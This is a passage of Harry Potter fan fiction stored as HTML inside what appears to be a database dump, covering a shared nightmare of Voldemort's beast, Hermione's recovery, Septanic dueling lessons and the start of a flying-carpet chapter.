it did.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>At about 4:00am, Harry started to feel\nslight tingling in his scar. Before he had a chance to want to wake up, a massive\nsurge of pain pulsed though him, making the world go black around him. Harry\ndidn\'t notice it then but Hermione feeling the same pain, had collapsed shortly\nafter he had. Unknown to both, they were experiencing the same dream from the\nsame viewpoint....</p>\n\n<p>&nbsp;</p>\n\n<p><i>They both\nsaw a dark and shadowy valley, with three men...two of them in a cloak and a\ngiant beast in a cage of light that, neither could be certain about what it\nwas. They heard murmuring between two men, one cloaked and one uncloaked. They\nstrained their ears to hear what was being said. </i></p>\n\n<p><i>Suddenly\nthe scenery in front of the pair changed. It was almost as if they moved closer\nto the three people. What they heard chilled both of their blood.</i></p>\n\n<p><i>&quot;...Release\nthe beast, Wormtail.&quot;</i></p>\n\n<p><i>&quot; But\nmaster...&quot;</i></p>\n\n<p><i>&quot; Are\nyou saying *no* to me...Wormtail -&quot; he said almost enjoying the defiance\nthat his servant was showing him, for he knew that it would be a pleasurable\nexperience for him to torture his greatest servant. &quot; -You know the\npunishment for arguing with me don\'t you&quot;</i></p>\n\n<p><i>&quot; Yes.\nMaster. Punish me. Please...&#8221; Wormtail pleaded.</i></p>\n\n<p><i>&quot; Very\nwell. Since you asked so nicely... \'Crucio\'&quot;</i></p>\n\n<p><i>A very loud\nscream could be heard echoing the valley, for a while. Harry felt himse writhe\nin pain. &quot; ... How was that Wormtail?&quot;</i></p>\n\n<p><i>&quot; Very\npainful, Master. If you like you can do more your lordship.&quot; said Wormtail.</i></p>\n\n<p><i>Voldemort\ndrawled. &quot; Perhaps later... NOW RELEASE the beast.&quot;</i></p>\n\n<p><i>The bars of\nlight that made up cage of light flickered and then vanished. The beast let out\na growl that sounded a lot like that of a lion. The beast turned to face the\nthree.</i></p>\n\n<p><i>&quot; Go. Wormtail...Send\nLucius and then go do as I have asked you...Get me what I want.&quot;</i></p>\n\n<p><i>Lord Voldemort\nwatched as the third man, left without any means of protection, ran for his\ndear life. Harry and Hermione thought that man hard to be a muggle, since he\ndidn&#8217;t just apparate out of the situation. </i></p>\n\n<p><i>No matter\nhow fast the man ran, it simply made no difference, because the beast, though\nstill in shadows was at least three times as big. It was a Quadrapedal &#8211;or at least\nHermione thought it was one. It caught up to the man in three jumps. Once the\nbeast had its prey, the creature made short work of him. It used what Harry\nthought was its claw to swipe the man to one side of the canyon. The body flew\nright into the wall and made a thumping noise, before falling to the ground\nwith a sickening cracking noise. The pain in Harry&#8217;s scar (now shared by\nHermione) was becoming unbearable.</i></p>\n\n<p><i>The\ncreature of Voldemort then started the task of slicing off bits of the human\nflesh with it claw and proceeded to eat them. Once in a while it would look up\nto where Lord Voldemort was and think whether or not it was a wise idea to\nattack the humanoid creature, who had trapped it in it&#8217;s confinement for so\nlong.</i></p>\n\n<p><i>There was a\nsmall pop and Lucius Malfoy appeared next to his master. He immediately went on\nhis knees. Partly because he was afraid of his master, but most likely that he\nwas afraid of the beast in front of him. His new position allowed him to both\nkneel in front of his master and allowed him to keep an eye on the beast. Ready\nto make a hasty retreat at a moment&#8217;s notice. </i></p>\n\n<p><i>&quot;\nMalfoy...&quot;</i></p>\n\n<p><i>&quot; Yes,\nmaster.&quot;</i></p>\n\n<p><i>&quot; Do\nyou have the centaur?&quot;</i></p>\n\n<p><i>&quot; Yes...Yes\nmy lord.&quot;</i></p>\n\n<p><i>&quot; Good.\nYou&#8217;ll be glad to know that I&#8217;ve decided to give you the charge of the mission\nfor the end of the year.&quot;</i></p>\n\n<p><i>Whatever the\nmission was to be held at the end of the year, it must have been really\nimportant, since they could see that Lucius Malfoy was literally bursting with\njoy.</i></p>\n\n<p><i>&quot;\nThank you master&quot; though he was happy, he made no move to get up from\nwhere he was.</i></p>\n\n<p><i>&quot; Come\nsit by me...&quot; Voldemort patted on the ground next to him, &quot;...we&#8217;ll\nsee the ending of the muggle at the hand of his creature of darkness. Marvelous\nisn&#8217;t it?&quot;</i></p>\n\n<p><i>&quot; As\nyou wish, sir. It is a beautiful-&quot; said Lucius Malfoy as he got up and\nmoved to where his master has told him to sit. He sat there next to his master.\nHe did not feel as good about it as he really thought it would, as the constant\nthought of how much evil the man next to him was capable of sent shivers\nthrough him.</i></p>\n\n<p><i>&quot; This\nwas a good idea, Lucius.&quot;</i></p>\n\n<p><i>&quot; Thank\nyou master&quot; there was tremble in his voice that Lord Voldemort liked very\nmuch.</i></p>\n\n<p><i>Right then\nthe creature bit and engulfed the head of the muggle in one swift motion. The\npain became unbearable for Harry and he woke up screaming.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p>&quot;\nAAAAHHHH&quot; cried out both Harry and Hermione in pain, from the secret room.</p>\n\n<p>Had there not\nbeen magic to sound proof the whole room, someone from the house would have had\nheard them. Harry felt something watery in his hands when he touched the scar\nin pain. When the pain decreased Harry brought his hands down to see that his\nfingers were covered in small amounts of blood. But before his mind could think\nabout the blood, he heard the blood curdling screams that kept coming from\nHermione. </p>\n\n<p>She was still\nscreaming from the pain in the scar. </p>\n\n<p>He quickly got\noff the bed and rushed to her side. Harry tried to get her attention, but she\nwas in too much pain to think clearly. He thanked the creator that he wasn\'t a\nscrawny little boy anymore. Had he been one, he could never have had done what\nneeded to be done. He quickly picked her up into his arms, started to run up\nthe stairs. Most of that was adrenalin. </p>\n\n<p>When he\nreached the door leading into Mr. Pasha&#8217;s bedroom, it exploded outwards\nshowering a sleeping Mr. Pasha with chunks of wood. The sound from the\nexplosion was deafening and woke up the whole house. Ali went into battle mode,\nwand ready and blinking off sleep haze, ready to kill anyone who came through\nthe door. He relaxed slightly at the view of Harry, before hearing Hermione&#8217;s hoarse\ncry of pain. </p>\n\n<p>Mr. Pasha\nmight have had some diviner abilities, but he could not see into the future for\nanything less than a few months time. Even then most of it was almost always\nblurry and only a few times had his prediction come true. This was not\nsomething he was expecting.</p>\n\n<p>&nbsp;</p>\n\n<p><i>&#8216; He\ndoesn\'t have his wand... How did he make the door o-oopennn &#8211; erm&#8230; explode&#8230;?&#8217;</i> His thoughts were\ninterrupted when he saw Harry carrying a screaming Hermione.</p>\n\n<p>Mr. Pasha\npointed at the bottom edge of the bed and said, &quot; Put her on the\nbed.&quot;.</p>\n\n<p>As Harry\nfollowed his order, Mr. Pasha moved quickly to the drawer and got out a blood-colored\npotion. He handed the glass container to Harry and told him to pour into her\nmouth, while he tried to force open her mouth. When her mouth was forced open\nand the contents vial had been emptied, Hermione stopped moving totally,\nleading Harry to believe that she was dead. Very soon after he thought this,\nhis mind was quelled by one simple fact, and that was Mr. Pasha had no reason\nto kill Hermione &#8211; <i>none that he knew anyway, </i>thought a particularly\nnasty voice in his head.</p>\n\n<p>Hermione\ndidn\'t even breathe, then suddenly her eyes snapped open and she turned her\nhead to the side of the bed and emptied the contents of her stomach on the\nfloor, in one go. Her eyes met those of Harry&#8217;s for a brief second before she\nlost consciousness.</p>\n\n<p>&quot; What\nhappened?&quot; asked Mr. Pasha.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry\nexplained how they were playacting then he went into his nightmares that are\nconnected to Voldemort. He explained, When he awoke to find Hermione screaming\nin pain. He brought her up and the door just exploded, <b>by itself</b>. Then\nhe asked a question of his own.</p>\n\n<p>&quot; What\nwas that potion?&quot; asked Harry. </p>\n\n<p>&quot; Blood\nof Chimera with a small bark from the tree of life. Takes away any pain a\nperson experiencing while they are asleep.&quot;</p>\n\n<p>&quot; Tree of\nlife&quot; Harry&#8217;s eyebrows went up a bit, knowing that tree of life potions\nalways had some side effect. Like the Wolfsbain potion, which helped to reduce\nthe pain and the length of the transformation, but caused the person to be very\nsick for a few days after taking the potion. And depending on the person, keep\nthem in a sickly state most of the time. He knew this partially because he did\nsome research in to werewolves after he found out that Professor Lupin was one,\nbut mostly he knew it because Hermione had told him so. &quot; &#8211;any side effects?&quot;\nasked Harry.</p>\n\n<p>Mr. Pasha\ndidn&#8217;t answer the question. &quot; Don\'t worry. She\'ll be all right. I suppose\nI should wake up the house-elf&quot; he said, but before he even takes one\nstep, the house elf came in cleaned the carpet, removed most of the bits of the\nshattered wooden door and even put a little sweet smelling fragrance in the\nair. The whole process took less than three seconds. </p>\n\n<p>Harry apologized\nto Mr. Pasha and Mrs. Pasha, who had watched the events, for blowing up their\ndoor. He explained that weird things like that seemed to happen to him all the\ntime. Mr. Pasha explained that Hermione was okay and that was all that mattered\nfor the time being. </p>\n\n<p>Harry picked\nher up in his arms and slowly headed towards her room. He really didn&#8217;t want to\nwake her up by moving too fast, but he was also sure that if he moved any\nfaster he himself would fall over from exhaustion. </p>\n\n<p>&nbsp;</p>\n\n<p>Harry\ncarefully laid Hermione on the bed and sat down on the side of the bed. He\nstayed there for rest of the night occasionally leaving so that Hermione\'s mom\ncould come and visit her. Whenever he did so, he would go into the large\nlibrary of books that Mr. Pasha owned and searched through all of them to find\nsomething on the potion that Mr. Pasha had given Hermione. </p>\n\n<p>Hermione&#8217;s\nmother was almost hysterical in her behavior, and in the end Mr. Pasha with the\nhelp of Mrs. Pasha convinced her, that Harry would take care of Hermione for\nrest of the night. Harry didn&#8217;t know why, but that simple fact made her go back\nto her own room, though not before telling Harry to wake them up when Hermione\nwas awake or he was feeling sleepy. He later realized it might have been the\ntoast that they had forced her to drink that made her calm. </p>\n\n<p>&nbsp;</p>\n\n<p>Hermione took\nher time to wake up the next morning. It was ten o&#8217;clock and a full seven hours\nhad passed since they both shared the nightmare. Her mind was hazy and\nrecollection of the day before was hard. Her body felt so incredibly weak and\nbattered, she thought she might be in bed for rest of the holidays. Her first\nthoughts were on her unfinished Care of Magical Creature homework, though.</p>\n\n<p>&nbsp;</p>\n\n<p>Once her mind\nfocused on the reality around her, she saw that Harry was holding her hand on\nthe bed, with a particularly large book on his lap. But she was surprised to\nsee that his eyes were focused on her face, but then she saw the dried blood on\nhis scar.</p>\n\n<p><i>&#8216; He&#8217;s been\nbleeding&#8217; </i>thought Hermione before noticing that his emerald green eyes\ndidn\'t have their usual glow, but the whites of his eyes were blood shot. &quot;\nHermione! You\'re awake. Your parents just left. I\'ll be back with -&quot; said\nHarry excitedly. The centre of his eyes glowing now, and even in the middle of\nthe bloodshot whites of his eyes, he looked ecstatic to see her. &nbsp;Harry\ncouldn&#8217;t move because Hermione had somehow managed to gather up enough energy\nto grip Harry&#8217;s hand, which was already in her palm, very tightly.</p>\n\n<p>&quot;\nWait...&quot; said Hermione in a cracked voice, emphasizing the point that her\nvoice box did not want to be used again after the way she had abused it a few\nhours ago.</p>\n\n<p>Harry quickly\nagreed, as he was just content that one of his two best friends was ok again. &quot;\nOK&quot;</p>\n\n<p>&quot; You\nstayed here all night didn\'t you? Uchh..ssk&quot; said Hermione coughing\nheavily after the question.</p>\n\n<p>&quot; Yeah...\nIt was nothing. I\'ll get your pare -&quot; He was interrupted by Hermione.</p>\n\n<p>&quot; Will\nyou stop it? I\'m not mad at you.&quot; Hermione knew Harry thought that she\nwould be mad at him, but she really wasn&#8217;t. &quot; Tell me... What happened\nafter we were practicing those dueling moves? Tell me every single thing you\nknow about it.&quot;</p>\n\n<p>&quot; Yes.\nWell I - we fainted....&quot; and Harry explained what he saw. How he woke up\nand saw&nbsp; blood from his scar. How he carried her to the door. How somehow the\ndoor exploded outwards. How they had to force her to drink the potion. How she\nhad thrown up on the carpet and went unconscious again. How he carried her to\nthe room and had been waiting in the room since then. How her mother had made\nlong visits to see her and had just left the room a few minutes ago to rest a\nbit, since she had stayed with Harry for two hours before.</p>\n\n<p>&quot; Well\nthat\'s the story... Anyway... I\'m really sorry. You know about the GIFT...I\nshouldn\'t have had given it to you. I shouldn\'t have had told you about the powers-&quot;</p>\n\n<p>&quot; Are we\ngoing to have that same conversation again Harry Potter. Give me my wand. I\'ll\nkill you and spare Voldemort the trouble...&quot;</p>\n\n<p>Only from the\nshock on Harry&#8217;s face did she realize that she had said something that made her\nflinch for a long time. Suddenly Hermione\'s face lit up like a Christmas tree. </p>\n\n<p>&quot;... I\ncalled him by his name. VOLDEMORT&quot; now she started to laugh as she sat up.\n&quot; VOL-DE-MORT! VOL-DE-MORT! This is not hard at all. I don\'t even know why\nit was hard before.&quot;</p>\n\n<p>Then she realized\nthat she had gone off the topic in the middle of the conversation. &quot; ...Now\nback to the matter at hand. Harry if you even joke about not giving me the\ngift, I\'m going to kill you. GOT IT&quot;</p>\n\n<p>&quot; Yes,\nMAAM.&quot; His eyes sparkled at the strong sentiment that Hermione had shown\nabout her new gift. </p>\n\n<p>&quot; Good.\nNow what do you think Voldemort was doing?&quot; asked Hermione making Harry\nuneasy. It wasn\'t easy to hear Hermione say \'Voldemort\', since only a few hours\nago she would have had flinched at the name. It was only a few more hours\nbefore that she had given permission for him to utter the word in front of her,\nalbeit told to do so sparingly. Hearing her utter the word like it was second\nnature to her would have been weird enough but Harry noticed that Hermione was\npractically reveling in the experience. </p>\n\n<p>&quot; I don\'t\nknow, but I assumed you would want me to send an owl to Professor Dumboledore,\nSo, I told already did it.&#8221; Hermione smiled. &#8220; Just the dream, but nothing\nelse.&quot; He said anticipating her question. </p>\n\n<p>&quot; You\ndon\'t trust him?&quot; asked Hermione, more than a little surprised.</p>\n\n<p>&quot; I do\ntrust him, but Hedwig might get intercepted, you know&quot; reasoned Harry.</p>\n\n<p>&quot; What do\nwe do then? I mean we have to do something.&quot;</p>\n\n<p>&quot; Nothing\nnow. We wait. In the mean time, you need to eat. What do you want?&quot;</p>\n\n<p>&quot; What do\nI want? &#8211;Let me see -Anything really. I\'m starving, and I don\'t really care\nwhat I eat.</p>\n\n<p>&quot; Wait.\nI\'ll get something for you&quot; Harry ran out of the room and went into the\nkitchen. </p>\n\n<p>He was only\ngone for half a minute and he was back with several items of food as well as a\nlarge pile of pancakes covered in syrup (Hermione\'s favorite as he had learned\nduring his stay with the Grangers.) But he wasn\'t alone. He had told everyone\nthat Hermione was awake.</p>\n\n<p>&quot; Look\nwho I found&quot; said Harry, but before he was finished Hermione\'s mother\nrushed to her daughter and started to cuddle her. Harry took the tray and put\nit down on the bed next to her.</p>\n\n<p>&quot; Mom!&quot;\nsaid Hermione, as she came closer to her mother for a hug. She whispered to her\nmother, &quot; Stop crying! It\'s embarrassing. I\'m OK. It was just-&quot;</p>\n\n<p>&quot; You\ndon\'t have to explain it dear. We\'re just happy that you\'re alive&quot; said\nMrs. Granger, after she had force-fed Hermione little bits of pancakes. It took\ntwo hours for Hermione to get her parents out of the room. </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>Once they were\nout and Mr. Pasha was the only one who was left, he spoke up. &quot; You should\nfind out that I had an ulterior motive showing you the Septanic Games. I\nfigured, since you both had the powers so I might as well show you what you\'ll\nbe learning at Hogwarts next year.&quot;</p>\n\n<p>&quot; What do\nmean?&quot; asked Harry who was beginning to feel a little groggy, which he\nattributed to staying up all night. </p>\n\n<p>&quot; The Septanic\nduelling technique -I\'ll be teaching it at Hogwarts.&quot;</p>\n\n<p>&quot; Why are\nyou telling it to us now?&quot; asked Hermione in her small, adoring voice that\nshe reserved for the teachers.</p>\n\n<p>&quot; I\'ll\ngive you two some advanced lessons. By the way -Harry I talked to Professor\nDumbledore and unfortunately he doesn\'t have a clue as to what the beast was. Now\nboth of you have a little rest. Do some exploring around the house...er...Hermione,\nthere are a few little things that I need to tell you...alone.&quot; He looked\npointedly at Harry, who took the hint and left the room with a banana and a\npiece of bread in his hand. He had earlier pocketed a few dates that he wanted\nto have later.</p>\n\n<p>&nbsp;</p>\n\n<p>As soon as he\nleft, Mr. Pasha became a little apprehensive. He didn\'t have any children, so\nhe had never needed to talk about this type of a topic to such a young person. &quot;\nI&#8217;m not sure how much Harry has told you, but we had to give you a potion to\nsubdue you.&#8221; Hermione tried to speak up, but he put up his hand to stop her. &#8220;\nIt&#8217;s kind of hard for me to explain, so let me explain before I loose my nerve.\nThere are some erm&#8230; side effects are not really visible&#8230; may be I should tell\nmy wife and she could tell you &#8211;&#8221; Hermione put an end to Ali&#8217;s rambling. </p>\n\n<p>&quot; I know\nBlood of Chimera was used. Didn\'t you?&quot;</p>\n\n<p>&quot; -err. How?&#8221;\nAli looked very embarrassed. &#8220; - Yes. How did you know?&quot;</p>\n\n<p>&quot; Harry\ntold me. You don\'t have to tell me, I know the side effects or the lack there\nof.&quot; Hermione finished in a worried, but understanding tone. </p>\n\n<p>&quot; OK.\nGood. Since you know, I\'ll go now... I\'ll send Harry in. I ordered &#8220;IT&#8221; and\nit&#8217;ll be at Hogwarts in about a two to three weeks time.&quot; Though they\ndidn\'t mention any details about the side effect it was surprising to see the\nredness in his face.</p>\n\n<p>&nbsp;</p>\n\n<p>When Harry\narrived she told him that Mr. Pasha wanted to explain the consequences of using\nthe blood of Chimera and the tree of life potion. Harry wanted to know what\nwere some of the side effects but seeing that Hermione would only blush at the\nquestion he took the hint and stopped asking. There were quite a few reasons\nfor not telling Harry what the side effects were. And she wasn&#8217;t blushing because\nit would make it impossible for her to get pregnant for approximately five\nyears. There were several more embarrassing ones. </p>\n\n<p>&nbsp;</p>\n\n<p>Hermione\nwanted to ask Harry about the scar, and decided it was as good as a time as\nany. &quot; Harry. You know when your scar hurts... How bad is it compared to Cruciatus\nCurse?&quot;</p>\n\n<p>&quot; er...\nI\'ll tell you another time -&quot; said Harry, before getting interrupted by a\nHermione who had had enough of being patronized.</p>\n\n<p>&quot; Stop\nbabying me, Harry. Just answer it!&quot;</p>\n\n<p>&quot; But\n-but....&quot; Harry was still very reluctant, but he knew Hermione would\npester him until she got the information that she wanted &quot; OH...okay.\nRemember you asked for it...&quot; Harry paused before continuing after a long\nsigh, &quot; This is the worse that the scar hurt... even worse than last year\nwhen I collapsed. But it\'s not as bad as the Cruciatus curse or the first time\nyou go through magical objects. My scar hurts sometime more, but the amount of\ntime it hurts has gone down a lot.&quot;</p>\n\n<p>They talked a\nlittle while longer, eating and talking as they went, and it wasn&#8217;t before the\nfood was all gone. Unknown to both, Mr. Pasha had mixed, sleeping potions in\ntheir food, since they both needed the rest. However because his wife had\ndragged him away on other &#8220;business&#8221;, Ali completely forgot about taking Harry\naway from Hermione&#8217;s room. After Harry finished eating, they fell asleep right\nwhere they were - Hermione on her bed, while Harry fell face first into his a\nplate that had the pancakes and syrups in it.</p>\n\n<p>&nbsp;</p>\n\n<p>The next day\nHarry woke up in Hermione\'s bed, with the bed sheets stuck to his face. <i>&#8216;\nMerlin Help me I\'m stuck to the sheets.&#8217; </i>As he slowly separated the bed\nsheet from his face, he looked up to see Hermione\'s face only inches from his\nown. <i>&#8216; Wow. Who would have had thought she slept this peacefully.&#8217;</i> He\nfelt a strange sensation in his stomach, as well as tightening of his chest\nthat he identified as hunger. <i>&#8216; Aww man. I need some food.&#8217;</i> </p>\n\n<p>Once fully\nuntangled he slowly went to his feet and walked as quietly as possible to the\ndoor. But sleeping Hermione wasn\'t actually sleeping. She had been awake for\nthe last half an hour, peacefully dozing on the bed. Harry\'s hand froze on the\nhandle, when she said, &quot; Could you close the door properly, when you go. I\nneed some privacy.&quot;</p>\n\n<p>&quot; You\'re\nawake?&quot; Asked Harry a little surprised.</p>\n\n<p>&quot; Have\nbeen for the last half hour. Why?&quot; </p>\n\n<p>&quot; How\ncome you\'re still in bed? For that matter -Why didn\'t you wake me?&quot;</p>\n\n<p>&quot; The sun\nfeels warm. It makes me sleepy&quot; said Hermione as if it explained\neverything, but Harry just left anyway. He needed a shower; he could almost\nfeel two days of grim on his body. He definitely needed to get a shower. Definitely.</p>\n\n<p style="text-align:center" align="center">&lt;&lt;~~~&gt;&gt;</p>\n\n<p style="text-align:center" align="center">END OF CHAPTER<br>\n<b>READ AND REVIEW</b></p>\n\n<p>(A/N:\nHunger??? A quick question to all you folks out there.... Do you think it\'s\nhunger?... I didn\'t think so. Harry in my book is great at seeing when people\nlike each other. He just doesn\'t have a clue when it comes to Hermione or\nhimself.)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(13, 12, '\n\n\n\n<p><b>&nbsp;</b></p>\n\n<p style="text-align:center" align="center"><b>Chapter Number:</b> 12<br>\n<b>Chapter Name:</b> The Dueling Lessons &amp; another Nightmare </p>\n\n<p>&nbsp;</p>\n\n<p>Harry went\ninto the room, and quickly discarded his clothes before running into the\nadjoining shower facility. After the shower, lasting just over half an hour, it\nmust have had been the longest one he had ever had, he stepped out of the\nrunning hot water and wrapped a towel around his waist. He opened the door to\nhis room and turned to the mirror over the wardrobe. His vision was blurry\nwithout his glasses, but he knew where the glasses were and quickly put them\non. He wore his navy blue T-shirt and the sweater from Mrs. Weasley with his\nbest pair of black shorts. Harry hurried out of his room so fast he collided\nstraight into Hermione. She lost her balance and was about to fall when Harry\ncaught her. He apologized to her and together they went into the kitchen.</p>\n\n<p>After\nbreakfast Mr. Pasha took them to an adjoining room. It was noting special\nexcept for the fact that the floor was bare. Harry and Hermione could feel the\ncushioning charm on the floor since it felt a bit soft for something that was\nsupposed to be a hard wooden floor. They both assumed that this was where they\nwould receive their Dueling lesson.</p>\n\n<p>&quot; err...OKAY...The\nSeptanic dueling technique is excellent when it come to dealing with a more\npowerful wizard, though it has its fall backs.&quot; Mr. Pasha turned to\nHermione and asked. &quot; What\'s one of them?&quot;</p>\n\n<p>&quot; mmm. I\nguess it can be tiring against a more powerful wizard. The technique is only\ngood when the opponent is very close.&quot;</p>\n\n<p>&quot; Good.\nYou\'re right. The dueling is very much the same as normal. Except when you get\nstriking range of the opponent, when you have to choose where to hit and what\nspell to cast with your body in that type of position. Sometimes you have to\nthink a few blows ahead. Now-&quot; he turned to Harry and said, &quot; -you\ntold me you were practicing moves before the nightmare incident, I want to see\nhow you two fight.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot; Well\n-It wasn\'t really practicing.&#8221; Harry said shuffling his feet. &#8220; Hermione was\nthrowing me around like a stick. &quot;</p>\n\n<p>This comment\ngot Harry a broad smile from Hermione. &quot; Is it true?&quot; asked Ali Pasha,\na little disturbed by the fact that Hermione who was several inches shorter\nthat Harry was beating him up. Though it really wasn&#8217;t supposed to matter, but\nHermione was both a girl and a few inches shorter than Harry was. But more than\nthat he had thought Harry should have shown a lot more prowess, considering\nwhat he had learned and heard from Professor Dippet. </p>\n\n<p>&quot;Yes&quot;\nanswered Hermione as if it was normal for Harry Potter to be beaten up by\nlittle old her.</p>\n\n<p>&quot; Okay...\nI want see it, anyway.&quot; said Mr. Pasha before he snapped his fingers and\nboth of their clothes were replaced with more easy-to-move-in clothes. </p>\n\n<p>Hermione had\nthree years of experience in martial arts, so combined with the magic she knew\nshe was almost ready to battle for real &#8211; well she thought so. While on the\nother hand Harry had already fought the most powerful dark wizard and lived to\ntalk about it when many older wizards simply would not have fought him at all,\nbut that didn&#8217;t mean that he was any good at Dueling. Though both Hermione and\nHarry knew it wasn\'t an even match they started to fight. Harry took the early\nlead by disarming her with magic, but they were supposed to play until only one\nof them was unconscious or yelled, Mercy. The disarming didn&#8217;t stop Hermione,\nif anything it made her loose all inhibition about hitting and/or hurting\nHarry. She jumped up and kicked him in the chest, hard. The &quot;playing nice\nstage&quot; was well and truly over and they went at it full force. </p>\n\n<p>Mr. Pasha\nstopped the pair often, and told them moves that they should have had done or\nhow to do the move properly to maximize the effect. </p>\n\n<p>By the time\nthat Mr. Pasha left at 10 at night, both were covered in hexes and curses,\nHarry was the one who was worse off out of the pair. Mr. Pasha spent ten\nminutes un-hexing the pair. Their physical cuts and bruises had to heal on\ntheir own. He told them to go to sleep early as it will heal their cuts and\nbruises quicker, though the comment was actually directed at Hermione since\nHarry\'s ones had already started to repair themselves. </p>\n\n<p>Once Mr. Pasha\nleft the two friends sat on the floor and discussed some of the more difficult\nthings they had been taught today, but in the middle of the conversation Harry\nlost consciousness. </p>\n\n<p>A man shrouded\nin a cloak, approached a man on a large serpent throne. Lord Voldemort, Harry\nassumed...</p>\n\n<p><i>Then there\nwas a sniggering voice that thought sounded a lot like Draco...It was Lucious\nMalfoy. He said, &quot; Master, the beast Wormtail released will be up on the\ncity by night fall in three or four days time. Not enough time for them to get\nready... It\'ll be our greatest day when the Mudblood city falls.&quot;</i></p>\n\n<p><i>Then a cold\nand eerie voice said, &quot; Excellent job. You planned to do what Shozar my\nmost trusted and obedient servant couldn\'t. As your reward I want you to\nco-ordinate the attack. Has he talked yet?...&quot; asked Lord Voldemort.</i></p>\n\n<p><i>&quot; No...my\nlord&quot; Lucius Malfoy was going to say something but before he could, a Cruciatus\ncurse rang through his body.........</i></p>\n\n<p>Harry woke up\nfrom the nightmare clutching to his scar, thanking GOD that Hermione hadn\'t\nbeen in Astral Projection with him. The pain was worse than it had been\nbefore... Much worse and he wasn\'t sure whether Hermione could have had lived\nthrough it. When the pain subsided he told Mr. Pasha what happened in the\ndream. </p>\n\n<p>(<b>A/N: </b>In\nthis story we are led to believe that Morocco, is the place on earth where most of the\nwizards are half muggles. Shozar Sebastian a death eater was given the task of\nstarting war between half-muggle wizards, so that they might be wiped off the\nface of the planet.)</p>\n\n<p>&quot; Don\'t\nworry. I\'ll send a message to the ministry, and they\'ll take care of the\nbeast.&quot;</p>\n\n<p>&quot; But I\ndon\'t know what the beast is. How will they fight it?&quot;</p>\n\n<p>&quot; They\'ll\ndispatch all the available wizards to cast a protection spell over the city.\nIt\'ll stop anything that has been declared as a beast.... Now get some\nrest!&quot; said Mr. Pasha before he left the room.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry paced up\nand down next to his bed, trying to think of any details about the beast that\nmight help the ministry to better prepare for the attack. </p>\n\n<p>Harry was so\ndeep in his thought that he didn\'t hear Hermione ask him several times to stop\npacing so she could bandage him. Finally when she had enough she took out her\nwand and yelled, &quot; Impedimenta&quot;. This was a big surprise to Harry who\nhad been too busy to listen to her. He didn\'t say anything when the jinx wore\noff too quickly, partly because Harry had grown slightly strong over the summer\nholidays, but it was mostly because Hermione had not tried the curse at full\nforce. </p>\n\n<p>He let her\npush him onto the bed and bandage his leaking scar, when he saw the frustration\non her face. Hermione was a little too enthusiastic about the task. She wrapped\nthe bandages in a way that made it look like he had his skull fractured in\nseveral places. </p>\n\n<p>When she was\nfinished she noticed that Harry had fallen asleep in her lap as she was\nbandaging him. Satisfied that she had done a good job (one that Madam Pomfrey\nwould have had been proud of), she gently put his head down on the soft pillow\nand covered him with the blanket.</p>\n\n<p>Hermione\nwalked slowly to the door, gave a small lingering look at his sleeping form and\nthen went back to her room. Hoping like hell, no more nightmares for her\nfriend.</p>\n\n<p style="text-align:center" align="center">&lt;&lt;~~~&gt;&gt;</p>\n\n<p style="text-align:center" align="center">END OF CHAPTER<br>\n<b>READ AND REVIEW</b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(13, 13, '\n\n\n\n  <p><b>Reviews: \n    &nbsp;</b>Oh My god! I can&#8217;t belive \n    two people I worship even looked at my pathetic attempts at writing. <b>Msscribe \n    and Babygrrl! </b>People, if you&#8217;ve not read their fics, you&#8217;re missing out. \n    They are brilliant! To everyone else :) Thanks for the reviews :) To each \n    one of you - thanks :) Phil - I will try to update soon. Real life is hard, \n    and the site takes away a lot of time. </p>\n\n<p>&nbsp;</p>\n\n<p style="text-align:center" align="center"><b>Chapter Number:</b> 13<br>\n<b>Chapter Name:</b> Carpet Ride and Griffin Watching</p>\n\n<p>&nbsp;</p>\n\n<p>The next\nmorning Harry awoke to gentle nudges and a soft, sweet voice that belonged to\nHermione. &quot; Harry...&quot; more nudges before a violent shake, &quot;Harry,&#8221;\nshe was kind of whining, &#8220; Come on love, wake up.&quot;</p>\n\n<p>Harry tossed\naround and tried to cover himself up a little, trying to hide. But a few\nminutes later, he was up. &quot; I\'m up. I\'m up.&quot; Yelled Harry despite\nhimself.</p>\n\n<p>&quot; Hurry\nup.&#8221; Hermione said frowning at Harry, who was sitting up on the bed, but trying\nto make sense of the world without his glasses. &#8220; It\'s seven already. We need\nto get ready.&quot;</p>\n\n<p>&quot; Ready\nfor what?&#8221; Harry mumbled. &#8216; <i>WAR?!&#8217; </i>he thought to himself. Harry didn\'t realize\nwhy they needed to be up so early. It was an ungodly hour &#8211; especially since he\nwas on holiday. And the last few days had been very tiring. </p>\n\n<p>&quot; Oh,\nnothing really, &#8220; Hermioen said smiling &#8211; he could see her mind was filled with\nmischevious thoughts. His own lips curled up slightly. &#8220; ...unless you don\'t\nwant to learn how to ride on a flying carpet.&quot;</p>\n\n<p>&quot; Did you\nsay \'Flying Carpet\'?&quot; He asked, not sure he heard it right. Ofcourse,\nHarry had read about the carpets, but most of his knowledge came from a muggle\ncartoon &#8211; Aladdin. Growing up he had seen few short burst of that cartoon while\nDudley lay on his king sized\nbed &#8211; blocking half the screen from the door. While Dudley turned over, making\nthe bed threaten to give way, Harry had often see the young hero perform\ndashing moves on his carpet. And Harry had often dreamed of being on one &#8211;\nriding away from the Dursley&#8217;s forever. </p>\n\n<p>When Hermione nodded,\nHarry literally jumped off the bed and flew into the shower facilities &#8211; almost\nsleeping on the wet floor. It took less than five minutes to go through the\nmorning ritual. He brushed his teeth while he was in the shower and he was\nunder the water just long enough to get his body wet. Harry quickly got dressed\nin his best muggle clothes and left the shower. When he came out wearing his\nnew glasses, he didn&#8217;t feel right. He had been using his old ones for so long\nthat it felt rather alien and not quite like himself. </p>\n\n<p>But the effect\nto Hermione was different. &#8216;<i> That can\'t be Harry...&#8217; &nbsp;</i>His wild hair had\nspiked up his hair after getting wet. The glasses offset his eyes, and really\nbrought forth his emerald coloured centres of his eyes. She gasped at the sight\ninfront of her. She squinted through her own glasses to make sure that she\nwasn&#8217;t seeing things. <i>WOW! He looks good...&#8217;</i> Just the thought made her\nblush. </p>\n\n<p>Hermione\nquickly turned away so that Harry 